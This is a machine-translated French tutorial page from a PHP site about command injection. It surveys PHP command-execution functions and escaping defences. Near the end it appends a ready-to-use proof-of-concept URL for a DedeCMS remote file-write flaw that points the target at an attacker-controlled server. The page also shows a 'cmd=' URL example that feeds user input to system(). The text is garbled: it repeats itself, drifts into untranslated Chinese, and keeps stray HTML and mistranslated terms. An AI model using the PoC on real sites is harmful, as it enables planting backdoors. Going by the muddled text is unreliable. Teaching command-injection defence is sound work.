Maison > développement back-end > tutoriel php > Injection de commande PHP dedecms écriture à distance partage d'exemple de lien de fichier

Injection de commande PHP dedecms écriture à distance partage d'exemple de lien de fichier

小云云
Libérer: 2023-03-21 08:34:01
original
2565 Les gens l'ont consulté

La vulnérabilité d'attaque par injection de commande PHP est l'une des vulnérabilités de script courantes dans les applications PHP. Des applications Web nationales célèbres telles que Discuz et DedeCMS ont ce type de vulnérabilité.

L'injection de commande, c'est-à-dire une attaque par injection de commande, fait référence au fait que, parce que les applications Web ne filtrent pas strictement les données soumises par les utilisateurs, les pirates peuvent construire des chaînes de commande spéciales. Soumettez des données à une application Web et utilisez cette méthode pour exécuter des programmes externes ou des commandes système afin de mener des attaques, d'obtenir illégalement des données ou des ressources réseau, etc.
La principale raison pour laquelle les attaques par injection de commandes PHP existent est que lorsque les programmeurs d'applications Web utilisent certaines fonctions avec des fonctions d'exécution de commandes dans le langage PHP, le contenu des données soumis par l'utilisateur est introduit dans la fonction pour exécution sans filtrage strict. Par exemple, lorsque le contenu des données soumises par un pirate informatique consiste à écrire un fichier PHP dans le répertoire du site Web, la commande peut être utilisée pour injecter la vulnérabilité d'attaque dans un fichier de porte dérobée PHP, puis mener d'autres attaques de pénétration.
La vulnérabilité d’attaque par injection de commande PHP entraîne des dommages et un impact sérieux. Les méthodes suivantes peuvent être utilisées pour prévenir les vulnérabilités des attaques par injection de commandes :
1. Essayez de ne pas exécuter d'applications ou de commandes externes.
2. Utilisez des fonctions personnalisées ou des bibliothèques de fonctions pour implémenter les fonctions d'applications ou de commandes externes.
3. Déterminez le contenu des paramètres avant d'exécuter des fonctions telles que system et eval.
4. Utilisez la fonction escapeshellarg pour traiter les paramètres associés. La fonction escapeshellarg échappera à tous les caractères qui provoquent la fin des paramètres ou des commandes. Par exemple, le guillemet simple "'" sera échappé comme "'", le guillemet double """ sera échappé comme """, et le point-virgule. ";" sera échappé sous la forme ";", donc escapeshellarg limitera le contenu du paramètre à une paire de guillemets simples ou doubles, et échappera aux guillemets simples ou doubles contenus dans les paramètres afin que l'exécution en cours ne puisse pas être tronquée pour obtenir prévention Le but des attaques par injection de commandes.
5. Utilisez safe_mode_exec_dir pour exécuter le chemin du fichier exécutable. Définissez safe_mode dans le fichier php.ini sur On, puis placez le fichier exécutable dans un répertoire et utilisez safe_mode_exec_dir pour spécifier le chemin du fichier exécutable. De cette façon, lorsque le programme externe correspondant doit être exécuté, le programme doit se trouver dans le répertoire spécifié par safe_mode_exec_dir avant que l'exécution ne soit autorisée, sinon l'exécution échouera.
La vulnérabilité d’attaque par injection de commande PHP est l’une des vulnérabilités courantes dans les applications PHP. Il a été signalé que des applications PHP nationales célèbres, telles que Discuz!, Dedecms et d'autres programmes à grande échelle, présentent des vulnérabilités d'attaque par injection de commandes sur Internet. Les pirates peuvent rapidement obtenir des autorisations de sites Web via des vulnérabilités d'attaque par injection de commandes, puis mener des attaques malveillantes telles que. comme la montée de chevaux et le phishing. L'impact et les dommages causés sont énormes. Dans le même temps, le langage PHP est actuellement utilisé dans une grande partie du développement d'applications Web. Les programmeurs d'applications Web doivent comprendre les dangers des attaques par injection de commandes, corriger les vulnérabilités qui peuvent être exploitées par les pirates informatiques dans le programme et protéger la sécurité du programme. utilisateurs du réseau. Attaqués par des codes malveillants tels que des chevaux de Troie et du phishing

Utilisation de fonctions d'exécution de commandes

En PHP, vous pouvez exécuter des programmes externes ou fonctions La fonction d'exécution de commande comprend les 5 fonctions suivantes.

2.1 La fonction système

peut être utilisée pour exécuter une application externe et générer les résultats d'exécution correspondants. Le prototype de fonction est le suivant : système de chaînes (commande de chaîne, int &return_var) Parmi eux, command est la commande à exécuter et return_var stocke la valeur d'état après l'exécution de la commande. Selon les idées des programmeurs PHP, la fonction principale de la fonction d'exécution de commande est d'interagir avec l'application Web via la fonction d'exécution de commande et d'exécuter des programmes externes ou des commandes système via l'application Web. Par exemple, le programmeur d'application Web souhaite obtenir. l'adresse IP via la fonction système. Utilisateur et d'autres informations, il peut alors y parvenir en construisant le code suivant. Dans le code suivant, une variable nommée $action est définie, dont la valeur est la valeur cmd obtenue, system($action)); où $action est le paramètre du système, c'est-à-dire la commande à exécuter. Lorsque nous débogueons PHP, lorsque nous utilisons var_dump ou print_r pour imprimer des données ou des tableaux, la page HTML n'affiche pas de sauts de ligne et il est difficile de localiser l'ajout de

 sauts de ligne pour l'affichage. <br>Entrez "http://localhost/test.php?cmd=ipconfig" dans la barre d'adresse du navigateur. Lorsque la valeur de cmd est attribuée à ipconfig, la fonction système affiche les informations d'adresse IP =</span></p>. <h3> <span style='font-family: 微软雅黑, "Microsoft YaHei";'>2.2 La fonction exec </span>
</h3>
<p><span style='font-family: 微软雅黑, "Microsoft YaHei";'> peut être utilisée pour exécuter une application externe Le prototype de la fonction est le suivant : </span></p><div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">string exec ( string $command [, array &$output [, int &$return_var ]] ),
Copier après la connexion
Copier après la connexion

Où command est la commande à exécuter, output est la chaîne de chaque ligne de sortie de la commande exécutée et return_var stocke la valeur d'état après l'exécution de la commande.

La fonction passthru 2.3

peut être utilisée pour exécuter une commande système et afficher la sortie d'origine lorsque la sortie du système. la commande est binaire Lorsque les données doivent être renvoyées directement au navigateur, la fonction passthru doit être utilisée pour remplacer les fonctions système et exécutable. Le prototype de la fonction Passthru est le suivant :

void passthru (string command, int &return_var),
Copier après la connexion
Copier après la connexion


où command est la commande à exécuter et return_var stocke la valeur d'état après l'exécution de la commande. Vous pouvez le tester en construisant le code PHP suivant.

La fonction shell_exec 2.4

exécute la commande shell et renvoie la chaîne de sortie Le prototype de la fonction est le suivant :

string shell_exec (string command),
Copier après la connexion

command
est la commande à exécuter.

2.5 "Backticks

ont la même fonction que shell_exec, exécutent la commande shell et renvoient la chaîne de sortie.

2.6 Fonction Popen

La fonction popen() ouvre le pointeur de fichier de processus, c'est-à-dire ouvre un tube pointant vers le processus, qui est exécuté par le commande dérivée commande. Produit. Renvoie un pointeur de fichier, mais il est à sens unique (ne peut être utilisé que pour la lecture ou l'écriture) et doit être fermé avec pclose(). Si une erreur se produit, le prototype de la fonction est le suivant : popen(. string $command, string. $mode), où command spécifie la commande à exécuter, mode spécifie le mode de connexion, r est en lecture seule et w est en écriture seule. 2.7 La fonction proc_open

est utilisée pour exécuter une commande et ouvrir le pointeur de fichier pour l'entrée/sortie. Semblable à la fonction popen(), mais proc_open() fournit des fonctionnalités plus puissantes pour contrôler le programme. exécution. Le prototype de la fonction est le suivant : resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )


2.8 Fonction pcntl_exec

La fonction pcntl_exec exécute le programme spécifié dans l'espace de processus actuel. Elle renvoie FALSE lorsqu'une erreur se produit et ne revient pas lorsqu'elle s'y produit. Il n'y a pas d'erreur. Le prototype de la fonction est le suivant : void pcntl_exec ( string $path [, array $ args [, array $envs ]] ) où path doit être un chemin binaire exécutable ou un script qui spécifie un en-tête de chemin exécutable sur le premier. ligne du fichier ; args est une chaîne d'arguments à transmettre au programme Array ; envs est un tableau de chaînes à transmettre au programme en tant que variables d'environnement. Ce tableau est au format clé => valeur, où clé représente. le nom de la variable d'environnement à transmettre, et la valeur représente la valeur de la variable d'environnement

Fonction de défense

Lorsque les données saisies par l'utilisateur sont utilisées. en tant que paramètre de fonction, vous pouvez utiliser la fonction escapeshellarg() ou escapeshellcmd() pour filtrer les données saisies par l'utilisateur afin d'empêcher l'utilisateur de saisir les données. >

3.1 La fonction escapeshellcmd()

supprime les symboles spéciaux dans la chaîne et échappe tous les caractères des métacaractères du shell pour faire le travail. Ces métacaractères incluent : # & ;``,| * ~ < Le prototype de la fonction est le suivant : string escapeshellcmd(string command). Cette fonction supprime les symboles spéciaux dans la chaîne pour empêcher les utilisateurs de pirater de manière malveillante le système serveur.

Fonction escapeshellarg 3.3

Cette fonction transcode une chaîne en paramètres pouvant être utilisés dans les commandes shell. escapeshellarg() ajoutera un guillemet simple à la chaîne et pourra citer ou échapper tous les guillemets simples existants, garantissant ainsi qu'une chaîne peut être transmise directement dans la fonction shell tout en restant sûre. Cette fonction doit être utilisée pour certains paramètres saisis par l'utilisateur. Il peut être utilisé dans la sécurité PHP pour filtrer certains caractères spéciaux présents dans arg. Si les paramètres d'entrée contiennent des caractères chinois et sont transmis à escapeshellarg, ils seront filtrés. Le prototype de la fonction est le suivant : string escapeshellarg (string $arg), où arg est le paramètre qui doit être échappé.

Joindre : lien de vulnérabilité d'écriture de fichier à distance dedecms (sans rapport avec les points de connaissance de cet article)
https://www.seebug.org/vuldb/ssvid-89354
poc :
http://target IP/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://http://http serveur contrôlé par vous-même/

La vulnérabilité d'attaque par injection de commande PHP est l'une des vulnérabilités de script courantes dans les applications PHP. Les applications Web nationales célèbres telles que Discuz et DedeCMS ont toutes ce type de vulnérabilité.
L'injection de commande, c'est-à-dire une attaque par injection de commande, fait référence au fait que l'application Web ne filtre pas strictement les données soumises par l'utilisateur, de sorte que le pirate informatique peut soumettre les données à l'application Web en construisant une chaîne de commande spéciale. , et utiliser le En exécutant des programmes externes ou des commandes système pour mener des attaques, obtenir illégalement des données ou des ressources réseau, etc.
La principale raison pour laquelle les attaques par injection de commandes PHP existent est que lorsque les programmeurs d'applications Web utilisent certaines fonctions avec des fonctions d'exécution de commandes dans le langage PHP, le contenu des données soumis par l'utilisateur est introduit dans la fonction pour exécution sans filtrage strict. Par exemple, lorsque le contenu des données soumises par un pirate informatique consiste à écrire un fichier PHP dans le répertoire du site Web, la commande peut être utilisée pour injecter la vulnérabilité d'attaque dans un fichier de porte dérobée PHP, puis mener d'autres attaques de pénétration.
La vulnérabilité d’attaque par injection de commande PHP entraîne des dommages et un impact sérieux. Les méthodes suivantes peuvent être utilisées pour prévenir les vulnérabilités des attaques par injection de commandes :
1. Essayez de ne pas exécuter d'applications ou de commandes externes.
2. Utilisez des fonctions personnalisées ou des bibliothèques de fonctions pour implémenter les fonctions d'applications ou de commandes externes.
3. Déterminez le contenu des paramètres avant d'exécuter des fonctions telles que system et eval.
4. Utilisez la fonction escapeshellarg pour traiter les paramètres associés. La fonction escapeshellarg échappera à tous les caractères qui provoquent la fin des paramètres ou des commandes. Par exemple, le guillemet simple "'" sera échappé comme "'", le guillemet double """ sera échappé comme """, et le point-virgule. ";" sera échappé sous la forme ";", donc escapeshellarg limitera le contenu du paramètre à une paire de guillemets simples ou doubles, et échappera aux guillemets simples ou doubles contenus dans les paramètres afin que l'exécution en cours ne puisse pas être tronquée pour obtenir prévention Le but des attaques par injection de commandes.
5. Utilisez safe_mode_exec_dir pour exécuter le chemin du fichier exécutable. Définissez safe_mode dans le fichier php.ini sur On, puis placez le fichier exécutable dans un répertoire et utilisez safe_mode_exec_dir pour spécifier le chemin du fichier exécutable. De cette façon, lorsque le programme externe correspondant doit être exécuté, le programme doit se trouver dans le répertoire spécifié par safe_mode_exec_dir avant que l'exécution ne soit autorisée, sinon l'exécution échouera.
La vulnérabilité d’attaque par injection de commande PHP est l’une des vulnérabilités courantes dans les applications PHP. Il a été signalé que des applications PHP nationales célèbres, telles que Discuz!, Dedecms et d'autres programmes à grande échelle, présentent des vulnérabilités d'attaque par injection de commandes sur Internet. Les pirates peuvent rapidement obtenir des autorisations de sites Web via des vulnérabilités d'attaque par injection de commandes, puis mener des attaques malveillantes telles que. comme la montée de chevaux et le phishing. L'impact et les dommages causés sont énormes. Dans le même temps, le langage PHP est actuellement utilisé dans une grande partie du développement d'applications Web. Les programmeurs d'applications Web doivent comprendre les dangers des attaques par injection de commandes, les vulnérabilités des correctifs qui peuvent être exploitées par les pirates informatiques dans le programme et protéger la sécurité du réseau. utilisateurs Attaqués par des codes malveillants tels que des chevaux de Troie et du phishing

Utilisation de fonctions d'exécution de commandes

En PHP, vous pouvez exécuter des programmes ou des fonctions externes. La fonction d'exécution de commande comprend les 5 fonctions suivantes.

2.1 system函数

可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加

,便可以自动格式化换行显示。 <br/>在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=</span></p><h3><span style="font-family: 微软雅黑, "Microsoft YaHei";">2.2      exec函数</span></h3><p><span style="font-family: 微软雅黑, "Microsoft YaHei";">可以用来执行一个外部的应用程序,函数原型如下: <br/></span></p><div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">string exec ( string $command [, array &$output [, int &$return_var ]] ),
Copier après la connexion
Copier après la connexion


其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

2.3 passthru函数

可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int &return_var),
Copier après la connexion
Copier après la connexion


其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。

2.4 shell_exec函数

执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command),command是要执行的命令。

2.5 ”反引号

与shell_exec功能相同,执行shell命令并返回输出的字符串。

2.6 Popen函数

popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。

2.7 proc_open函数

用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
Copier après la connexion


2.8pcntl_exec函数

pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

防御函数

当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。

3.1 escapeshellcmd()函数

除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ < > ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。

3.3 escapeshellarg函数

该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:

string escapeshellarg ( string $arg )
Copier après la connexion

,其中arg为需要被转码的参数。

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:php.cn
Article précédent:Explication de base de la marque de code php Article suivant:Explication détaillée des classes PHP et orienté objet
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Derniers articles par auteur
Derniers numéros
Rubriques connexes
Plus>
Recommandations populaires
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal